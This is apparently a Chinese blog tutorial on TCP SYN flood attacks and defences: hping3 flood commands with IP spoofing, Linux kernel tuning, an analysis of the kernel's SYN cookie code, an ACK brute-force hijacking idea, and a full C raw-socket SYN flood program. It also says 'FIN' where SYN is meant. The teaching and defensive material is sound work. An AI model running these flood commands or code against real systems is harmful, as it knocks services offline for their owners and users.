首页 > 代码库 > 扯谈网络编程之Tcp SYN flood洪水攻击
扯谈网络编程之Tcp SYN flood洪水攻击
简介
TCP协议要经过三次握手才能建立连接:
(from wiki)
于是出现了对于握手过程进行的攻击。攻击者发送大量的FIN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+ACK)是否发送成功,默认情况下会重试5次(tcp_syn_retries)。这样的话,对于服务器的内存,带宽都有很大的消耗。攻击者如果处于公网,可以伪造IP的话,对于服务器就很难根据IP来判断攻击者,给防护带来很大的困难。
攻与防
攻击者角度
从攻击者的角度来看,有两个地方可以提高服务器防御的难度的:
- 变换端口
- 伪造IP
变换端口很容易做到,攻击者可以使用任意端口。
攻击者如果是只有内网IP,是没办法伪造IP的,因为伪造的SYN包会被路由抛弃。攻击者如果是有公网IP,则有可能伪造IP,发出SYN包。(TODO,待更多验证)
hping3
hping3是一个很有名的网络安全工具,使用它可以很容易构造各种协议包。
用下面的命令可以很容易就发起SYN攻击:
sudo hping3 --flood -S -p 9999 x.x.x.x #random source address sudo hping3 --flood -S --rand-source -p 9999 x.x.x.x
--flood 是不间断发包的意思
-S 是SYN包的意思
更多的选项,可以man hping3 查看文档,有详细的说明。
如果是条件允许,可以伪造IP地址的话,可以用--rand-source参数来伪造。我在实际测试的过程中,可以伪造IP,也可以发送出去,但是服务器没有回应,从本地路由器的统计数据可以看出是路由器把包给丢弃掉了。
我用两个美国的主机来测试,使用
sudo hping3 --flood -S -p 9999 x.x.x.x
发现,实际上攻击效果有限,只有网络使用上涨了,服务器的cpu,内存使用都没有什么变化:
为什么会这样呢?下面再解析。
防御者角度
当可能遇到SYN flood攻击时,syslog,/var/log/syslog里可能会出现下面的日志:
kernel: [3649830.269068] TCP: Possible SYN flooding on port 9999. Sending cookies. Check SNMP counters.这个也有可能是SNMP协议误报,下面再解析。
从防御者的角度来看,主要有以下的措施:
- 内核参数的调优
- 防火墙禁止掉部分IP
linux内核参数调优主要有下面三个:
- 增大tcp_max_syn_backlog
- 减小tcp_synack_retries
- 启用tcp_syncookies
tcp_max_syn_backlog
从字面上就可以推断出是什么意思。在内核里有个队列用来存放还没有确认ACK的客户端请求,当等待的请求数大于tcp_max_syn_backlog时,后面的会被丢弃。
所以,适当增大这个值,可以在压力大的时候提高握手的成功率。手册里推荐大于1024。
tcp_synack_retries
这个是三次握手中,服务器回应ACK给客户端里,重试的次数。默认是5。显然攻击者是不会完成整个三次握手的,因此服务器在发出的ACK包在没有回应的情况下,会重试发送。当发送者是伪造IP时,服务器的ACK回应自然是无效的。
为了防止服务器做这种无用功,可以把tcp_synack_retries设置为0或者1。因为对于正常的客户端,如果它接收不到服务器回应的ACK包,它会再次发送SYN包,客户端还是能正常连接的,只是可能在某些情况下建立连接的速度变慢了一点。
tcp_syncookies
根据man tcp手册,tcp_syncookies是这样解析的:
tcp_syncookies (Boolean; since Linux 2.2)
Enable TCP syncookies. The kernel must be compiled with CONFIG_SYN_COOKIES. Send out syncookies when the
syn backlog queue of a socket overflows. The syncookies feature attempts to protect a socket from a SYN
flood attack. This should be used as a last resort, if at all. This is a violation of the TCP protocol,
and conflicts with other areas of TCP such as TCP extensions. It can cause problems for clients and relays.
It is not recommended as a tuning mechanism for heavily loaded servers to help with overloaded or misconfig‐
ured conditions. For recommended alternatives see tcp_max_syn_backlog, tcp_synack_retries, and
tcp_abort_on_overflow.
当半连接的请求数量超过了tcp_max_syn_backlog时,内核就会启用SYN cookie机制,不再把半连接请求放到队列里,而是用SYN cookie来检验。
手册上只给出了模糊的说明,具体的实现没有提到。
linux下SYN cookie的实现
查看了linux的代码(https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c )后,发现linux的实现并不是像wiki上
SYN cookie是非常巧妙地利用了TCP规范来绕过了TCP连接建立过程的验证过程,从而让服务器的负载可以大大降低。
在三次握手中,当服务器回应(SYN + ACK)包后,客户端要回应一个n + 1的ACK到服务器。其中n是服务器自己指定的。当启用tcp_syncookies时,linux内核生成一个特定的n值,而不并把客户的连接放到半连接的队列里(即没有存储任何关于这个连接的信息)。当客户端提交第三次握手的ACK包时,linux内核取出n值,进行校验,如果通过,则认为这个是一个合法的连接。
n即ISN(initial sequence number),是一个无符号的32位整数,那么linux内核是如何把信息记录到这有限的32位里,并完成校验的?
首先,TCP连接建立时,双方要协商好MSS(Maximum segment size),服务器要把客户端在ACK包里发过来的MSS值记录下来。
另外,因为服务器没有记录ACK包的任何信息,实际上是绕过了正常的TCP握手的过程,服务器只能靠客户端的第三次握手发过来的ACK包来验证,所以必须要有一个可靠的校验算法,防止攻击者伪造ACK,劫持会话。
linux是这样实现的:
1. 在服务器上有一个60秒的计时器,即每隔60秒,count加一;
2. MSS是这样子保存起来的,用一个硬编码的数组,保存起一些MSS值:
static __u16 const msstab[] = { 536, 1300, 1440, /* 1440, 1452: PPPoE */ 1460, };
比较客户发过来的mms,取一个比客户发过来的值还要小的mms。算法很简单:
/* * Generate a syncookie. mssp points to the mss, which is returned * rounded down to the value encoded in the cookie. */ u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct tcphdr *th, u16 *mssp) { int mssind; const __u16 mss = *mssp; for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--) if (mss >= msstab[mssind]) break; *mssp = msstab[mssind]; return secure_tcp_syn_cookie(iph->saddr, iph->daddr, th->source, th->dest, ntohl(th->seq), mssind); }
比较客户发过来的mms,取一个比客户发过来的值还要小的mms。
真正的算法在这个函数里:
static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport, __be16 dport, __u32 sseq, __u32 data) { /* * Compute the secure sequence number. * The output should be: * HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24) * + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24). * Where sseq is their sequence number and count increases every * minute by 1. * As an extra hack, we add a small "data" value that encodes the * MSS into the second hash value. */ u32 count = tcp_cookie_time(); return (cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq + (count << COOKIEBITS) + ((cookie_hash(saddr, daddr, sport, dport, count, 1) + data) & COOKIEMASK)); }
data实际上是mss的值对应的数组下标,count是每一分钟会加1,sseq是客户端发过来的sequence。
这样经过hash和一些加法,得到了一个ISN值,其中里记录了这个连接合适的MSS值。
/* * Check if a ack sequence number is a valid syncookie. * Return the decoded mss if it is, or 0 if not. */ int __cookie_v4_check(const struct iphdr *iph, const struct tcphdr *th, u32 cookie) { __u32 seq = ntohl(th->seq) - 1; __u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr, th->source, th->dest, seq); return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0; }
先得到原来的seq,再调用check_tcp_syn_cookie函数:
/* * This retrieves the small "data" value from the syncookie. * If the syncookie is bad, the data returned will be out of * range. This must be checked by the caller. * * The count value used to generate the cookie must be less than * MAX_SYNCOOKIE_AGE minutes in the past. * The return value (__u32)-1 if this test fails. */ static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr, __be16 sport, __be16 dport, __u32 sseq) { u32 diff, count = tcp_cookie_time(); /* Strip away the layers from the cookie */ cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq; /* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */ diff = (count - (cookie >> COOKIEBITS)) & ((__u32) -1 >> COOKIEBITS); if (diff >= MAX_SYNCOOKIE_AGE) return (__u32)-1; return (cookie - cookie_hash(saddr, daddr, sport, dport, count - diff, 1)) & COOKIEMASK; /* Leaving the data behind */ }
先减去之前的一些值,第一个hash和sseq。然后计算现在的count(每60秒加1的计数器)和之前的发给客户端,然后客户端返回过来的count的差:
如果大于MAX_SYNCOOKIE_AGE,即2,即2分钟。则说明已经超时了。
否则,计算得出之前放进去的mss。这样内核就认为这个是一个合法的TCP连接,并且得到了一个合适的mss值,这样就建立起了一个合法的TCP连接。
可以看到SYN cookie机制十分巧妙地不用任何存储,以略消耗CPU实现了对第三次握手的校验。
但是有得必有失,ISN里只存储了MSS值,因此,其它的TCP Option都不会生效,这就是为什么SNMP协议会误报的原因了。
更强大的攻击者
SYN cookie虽然十分巧妙,但是也给攻击者带了新的攻击思路。
因为SYN cookie机制不是正常的TCP三次握手。因此攻击者可以构造一个第三次握手的ACK包,从而劫持会话。
攻击者的思路很简单,通过暴力发送大量的伪造的第三次握手的ACK包,因为ISN只有32位,攻击者只要发送全部的ISN数据ACK包,总会有一个可以通过服务器端的校验。
有的人就会问了,即使攻击者成功通过了服务器的检验,它还是没有办法和服务器正常通讯啊,因为服务器回应的包都不会发给攻击者。
刚开始时,我也有这个疑问,但是TCP允许在第三次握手的ACK包里带上后面请求的数据,这样可以加快数据的传输。所以,比如一个http服务器,攻击者可以通过在第三次握手的ACK包里带上http get/post请求,从而完成攻击。
所以对于服务器而言,不能只是依靠IP来校验合法的请求,还要通过其它的一些方法来加强校验。比如CSRF等。
值得提醒的是即使是正常的TCP三次握手过程,攻击者还是可以进行会话劫持的,只是概率比SYN cookie的情况下要小很多。
详细的攻击说明:http://www.91ri.org/7075.html
一个用raw socket SYN flood攻击的代码
下面给出一个tcp syn flood的攻击的代码:
#include <stdio.h> #include <string.h> #include <sys/socket.h> #include <stdlib.h> #include <errno.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #pragma pack(1) struct pseudo_header //needed for checksum calculation { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }; #pragma pack() unsigned short csum(unsigned short *ptr, int nbytes) { long sum; unsigned short oddbyte; short answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char*) &oddbyte) = *(u_char*) ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum = sum + (sum >> 16); answer = (short) ~sum; return (answer); } void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort, in_addr_t destination, u_int16_t destinationPort) { static char sendBuf[sizeof(iphdr) + sizeof(tcphdr)] = { 0 }; bzero(sendBuf, sizeof(sendBuf)); struct iphdr* ipHeader = (iphdr*) sendBuf; struct tcphdr *tcph = (tcphdr*) (sendBuf + sizeof(iphdr)); ipHeader->version = 4; ipHeader->ihl = 5; ipHeader->tos = 0; ipHeader->tot_len = htons(sizeof(sendBuf)); ipHeader->id = htons(1); ipHeader->frag_off = 0; ipHeader->ttl = 254; ipHeader->protocol = IPPROTO_TCP; ipHeader->check = 0; ipHeader->saddr = source; ipHeader->daddr = destination; ipHeader->check = csum((unsigned short*) ipHeader, ipHeader->ihl * 2); //TCP Header tcph->source = htons(sourcePort); tcph->dest = htons(destinationPort); tcph->seq = 0; tcph->ack_seq = 0; tcph->doff = 5; //sizeof(tcphdr)/4 tcph->fin = 0; tcph->syn = 1; tcph->rst = 0; tcph->psh = 0; tcph->ack = 0; tcph->urg = 0; tcph->window = htons(512); tcph->check = 0; tcph->urg_ptr = 0; //tcp header checksum struct pseudo_header pseudoHeader; pseudoHeader.source_address = source; pseudoHeader.dest_address = destination; pseudoHeader.placeholder = 0; pseudoHeader.protocol = IPPROTO_TCP; pseudoHeader.tcp_length = htons(sizeof(tcphdr)); memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr)); tcph->check = csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header)); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(sourcePort); sin.sin_addr.s_addr = destination; ssize_t sentLen = sendto(socketfd, sendBuf, sizeof(sendBuf), 0, (struct sockaddr *) &sin, sizeof(sin)); if (sentLen == -1) { perror("sent error"); } } int main(void) { //for setsockopt int optval = 1; //create a raw socket int socketfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if (socketfd == -1) { perror("create socket:"); exit(0); } if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) < 0) { perror("create socket:"); exit(0); } in_addr_t source = inet_addr("192.168.1.100"); in_addr_t destination = inet_addr("192.168.1.101"); u_int16_t sourcePort = 1; u_int16_t destinationPort = 9999; while (1) { oneSyn(socketfd, source, sourcePort++, destination, destinationPort); sourcePort %= 65535; sleep(1); } return 0; }
总结:
对于SYN flood攻击,调整下面三个参数就可以防范绝大部分的攻击了。
- 增大tcp_max_syn_backlog
- 减小tcp_synack_retries
- 启用tcp_syncookies
参考:
http://www.redhat.com/archives/rhl-devel-list/2005-January/msg00447.html
man tcp
http://nixcraft.com/showthread.php/16864-Linux-Howto-test-and-stop-syn-flood-attacks
http://en.wikipedia.org/wiki/SYN_cookies
https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c
http://www.91ri.org/7075.html